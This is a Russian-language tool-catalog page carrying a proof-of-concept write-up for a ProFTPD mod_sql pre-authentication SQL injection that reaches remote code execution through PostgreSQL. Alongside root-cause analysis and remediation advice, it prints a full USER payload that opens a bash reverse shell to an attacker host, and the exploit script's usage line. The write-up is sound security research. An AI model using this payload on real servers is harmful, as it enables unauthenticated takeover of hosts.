Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-42167-PoC — Предварительная аутентификация RCE в ProFTPD через обход is_escaped_text() в mod_sql (CVE-2026-42167) | Kitploit
Инструменты/GitHubGitHub/sl4ck0th/cve-2026-42167-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubsl4ck0th/cve-2026-42167-poc

CVE-2026-42167-PoC

Предварительная аутентификация RCE в ProFTPD через обход is_escaped_text() в mod_sql (CVE-2026-42167)

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-42167 POC

Удаленное выполнение кода до аутентификации в ProFTPD через SQL-инъекцию в mod_sql

Автор: Van Glenndon Enad

Первоначальное обнаружение: ZeroPath

Опубликовано: 1 мая 2026 г.

Критичность: Критическая

Оценка CVSS v3.1: 8.1

Вектор CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Оценка CVSS v2: 7.6

Вектор CVSS v2: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C

CWE: CWE-89 (SQL-инъекция), CWE-78 (инъекция OS-команд)


Содержание

  1. Краткое описание
  2. Затронутое программное обеспечение
  3. Описание уязвимости
  4. Анализ первопричины
  5. Предварительные условия
  • Цепочка эксплуатации
  • Анализ полезной нагрузки
  • Подтверждение концепции
  • Воздействие
  • Устранение
  • Ссылки
  • Хронология раскрытия

  • Краткое описание

    CVE-2026-42167 — это критическая SQL-инъекция до аутентификации в модуле расширения mod_sql ProFTPD. Логическая ошибка в функции is_escaped_text() позволяет неаутентифицированному злоумышленнику обойти экранирование SQL-символов, создав команду USER, значение которой удовлетворяет ошибочной эвристике «уже экранировано». Внедренный SQL передается напрямую в серверную базу данных через PQexec(), который поддерживает составные запросы.

    Когда роль базы данных ProFTPD является суперпользователем PostgreSQL — распространенная ошибка конфигурации в контейнерных развертываниях — инъекция достигает директивы COPY TO PROGRAM PostgreSQL, что приводит к неаутентифицированному удаленному выполнению кода на уровне ОС от имени системного пользователя postgres. Не требуются учетные данные, предварительный доступ или взаимодействие с пользователем.


    Затронутое программное обеспечение

    КомпонентВерсия
    ProFTPD≤ 1.3.9
    Модульmod_sql + mod_sql_postgres
    Исправленная версия1.3.9a (выпущена 27 апреля 2026 г.)
    Серверная частьPostgreSQL (RCE); MySQL / SQLite (только обход аутентификации)

    ProFTPD — это широко развертываемый FTP-сервер с открытым исходным кодом. Согласно Shodan, в интернете существует более 160 000 публично доступных экземпляров ProFTPD. Модуль mod_sql обычно включен в панелях управления хостингом, включая cPanel, Plesk, DirectAdmin, Webmin и ISPConfig.


    Описание уязвимости

    Модуль mod_sql ProFTPD поддерживает аутентификацию и ведение журнала активности на основе SQL. Строки формата журнала могут включать переменные подстановки, такие как %U (имя пользователя), %r (удаленный хост) и %m (команда FTP). Эти переменные раскрываются во время выполнения и вставляются в SQL-запросы, выполняемые против настроенной серверной части.

    Типичная уязвимая конфигурация:

    root@kitploit:~
    LoadModule mod_sql.c
    LoadModule mod_sql_postgres.c
    
    SQLEngine on
    SQLBackend postgres
    SQLAuthTypes Plaintext
    SQLConnectInfo dbname@localhost dbuser dbpassword
    SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
    SQLLog * log_activity
    SQLLog ERR_* log_activity
    

    В этой конфигурации значение, указанное в команде FTP USER, подставляется вместо %U и включается непосредственно в SQL-оператор INSERT. Перед вставкой значение передается через is_escaped_text() для определения необходимости экранирования. Эта функция содержит критическую логическую ошибку.


    Анализ первопричины

    Ошибочная функция is_escaped_text()

    Расположенная в contrib/mod_sql.c, функция применяет следующую эвристику для определения того, является ли строка «уже экранированной»:

    root@kitploit:~
    static int is_escaped_text(const char *s) {
      size_t slen = strlen(s);
    
      /* Предполагаем, что строка экранирована, если:
       *   1. Она начинается с одинарной кавычки
       *   2. Она заканчивается одинарной кавычкой
       *   3. Она не содержит внутренних одинарных кавычек
       */
      if (slen >= 2 &&
          s[0] == '\'' &&
          s[slen - 1] == '\'' &&
          strchr(s + 1, '\'') == (s + slen - 1)) {
        return TRUE;  /* пропустить экранирование */
      }
      return FALSE;
    }
    

    Когда эта функция возвращает TRUE, sql_resolved_append_text() (строка 777) вставляет необработанное, неэкранированное значение непосредственно в строку запроса. Затем значение выполняется через PQexec() в contrib/mod_sql_postgres.c (строка 1146), который поддерживает составные (многооператорные) запросы.

    Почему эвристика не работает

    Эвристика, вероятно, была предназначена для обнаружения строк, которые уже окружены разделителями строк SQL. Однако она не предпринимает никаких попыток проверить безопасность внутреннего содержимого — только то, что дополнительные одинарные кавычки отсутствуют. Это означает, что любая полезная нагрузка, которая:

    • Начинается с '
    • Заканчивается на '
    • Не использует внутренних одинарных кавычек (например, использует долларовое кавычение PostgreSQL $$)

    ...пройдет проверку и будет внедрена дословно в SQL-запрос.

    Поток инъекции

    root@kitploit:~
    FTP-клиент                ProFTPD                  PostgreSQL
        │                         │                         │
        │── USER '<полезная нагрузка>'  ──▶ │                         │
        │                         │ раскрыть %U = '<полезная нагрузка>' │
        │                         │ is_escaped_text() = TRUE│
        │                         │ пропустить экранирование           │
        │                         │── INSERT INTO activity  │
        │                         │   VALUES ('<полезная нагрузка>',  │
        │                         │   ...) ──────────────▶  │
        │                         │                         │ выполнить составной SQL
        │                         │                         │ COPY TO PROGRAM
        │                         │                         │── shell-команда ──▶ ОС
    

    Предварительные условия

    ТребованиеПримечания
    mod_sql включен с SQL-журналированиемДолжна регистрироваться переменная до аутентификации, такая как %U
    Серверная часть PostgreSQLТребуется для RCE через COPY TO PROGRAM; MySQL/SQLite все еще позволяют обход аутентификации
    Роль БД является суперпользователем PostgreSQLCOPY TO PROGRAM ограничен суперпользователями или членами pg_execute_server_program
    bash доступен на хосте БДТребуется для доставки обратной оболочки через /dev/tcp
    Сетевая доступностьКонтейнер PostgreSQL должен иметь возможность связаться со злоумышленником на порту прослушивания

    Условие суперпользователя часто выполняется в контейнерных развертываниях, где пользователь БД ProFTPD создается через POSTGRES_USER=... в официальном Docker-образе PostgreSQL, или когда администратор предоставляет роли ProFTPD владение базой данных.


    Цепочка эксплуатации

    root@kitploit:~
    Шаг 1: Злоумышленник отправляет специально созданную команду USER (до аутентификации, учетные данные не требуются)
            │
            ▼
    Шаг 2: ProFTPD раскрывает %U значением, контролируемым злоумышленником
            │
            ▼
    Шаг 3: Обход is_escaped_text() — необработанный SQL проходит без экранирования
            │
            ▼
    Шаг 4: PQexec() выполняет составной запрос против PostgreSQL
            │
            ▼
    Шаг 5: COPY TO PROGRAM выполняет shell-команду злоумышленника от имени OS-пользователя postgres
            │
            ▼
    Шаг 6: Обратная оболочка / эксфильтрация файлов доставляется злоумышленнику
    

    Анализ полезной нагрузки

    Полезная нагрузка инъекции доставляется через команду FTP USER:

    root@kitploit:~
    USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
    

    Проверка условия обхода

    УсловиеВыполнено?Причина
    Начинается с '✅Первый символ — '
    Заканчивается на '✅Последний символ — '
    Нет внутренних одинарных кавычек✅Внутренние строки используют долларовое кавычение $$

    Разбор полезной нагрузки

    СегментНазначение
    ', null, null);Чисто закрывает исходный оператор INSERT
    COPY (SELECT $$x$$) TO PROGRAMСоставной запрос с использованием COPY TO PROGRAM PostgreSQL
    $$bash -c ...$$Shell-команда с использованием долларового кавычения $$ для избежания одинарных кавычек
    ; --'Завершает составной запрос; --' закомментировывает остаток и предоставляет закрывающую ' для обхода

    Подтверждение концепции

    Предупреждение: Этот PoC предоставлен исключительно в образовательных целях и для авторизованного тестирования. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.

    Пример использования:

    root@kitploit:~
    python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
    

    Воздействие

    КатегорияОписание
    КонфиденциальностьПолный доступ на чтение к файловой системе от имени OS-пользователя postgres
    ЦелостностьВозможность записи файлов, изменения содержимого базы данных, установки бэкдоров
    ДоступностьВозможны сбои в обслуживании, уничтожение данных
    АутентификацияЭксплуатируется с нулевыми учетными данными до аутентификации
    Область действияВыходит за пределы ProFTPD на нижележащий хост PostgreSQL

    Любая система, где ProFTPD размещен совместно с экземпляром PostgreSQL или имеет к нему доступ суперпользователя, подвержена риску полной компрометации хоста. Горизонтальное перемещение на соседние системы и закрепление через cron-задачи или внедрение SSH-ключей тривиально достижимы после эксплуатации.


    Устранение

    Немедленные действия

    • Обновите ProFTPD до версии 1.3.9a или новее — исправление корректирует is_escaped_text() с надлежащей обработкой параметризованных запросов

    Если обновление невозможно немедленно

    • Полностью отключите журналирование на основе mod_sql (удалите директивы SQLLog)
    • Удалите переменные журналирования до аутентификации (%U, %r, %m) из определений SQLNamedQuery

    Эшелонированная защита

    • Убедитесь, что роль БД ProFTPD не является суперпользователем PostgreSQL (принцип наименьших привилегий)
    • Ограничьте роль БД только INSERT в таблицу журнала и SELECT в таблицу аутентификации
    • По возможности размещайте ProFTPD и PostgreSQL в отдельных сетевых сегментах
    • Отслеживайте FTP-журналы на предмет команд USER, содержащих одинарные кавычки, COPY, PROGRAM или SQL-ключевые слова

    Хронология раскрытия

    ДатаСобытие
    28 марта 2026 г.Уязвимость сообщена сопровождающим ProFTPD
    7 апреля 2026 г.Начата проверка исправления
    24 апреля 2026 г.Присвоен CVE-2026-42167
    27 апреля 2026 г.Исправление зафиксировано; выпущен ProFTPD 1.3.9a
    28 апреля 2026 г.Опубликовано в NVD
    28–29 апреля 2026 г.Публичные PoC-репозитории опубликованы на GitHub
    1 мая 2026 г.Опубликованы независимый анализ и упрощенный PoC

    Ссылки

    • NVD — CVE-2026-42167
    • Блог исследований ZeroPath — CVE-2026-42167 Обход аутентификации и RCE в ProFTPD
    • ZeroPathAI — Официальный PoC-репозиторий
    • dinosn — Независимый анализ первопричины
    • ProFTPD Issue #2052 — SQL-инъекция через mod_sql is_escaped_text
    • CVEFeed.io — CVE-2026-42167

    Правовое предупреждение: Этот анализ и подтверждение концепции опубликованы строго в образовательных, исследовательских целях и для защитной безопасности. Автор не одобряет несанкционированный доступ к компьютерным системам. Всегда получайте явное письменное разрешение перед проведением тестирования безопасности любой системы, которой вы не владеете.

    Скачать инструмент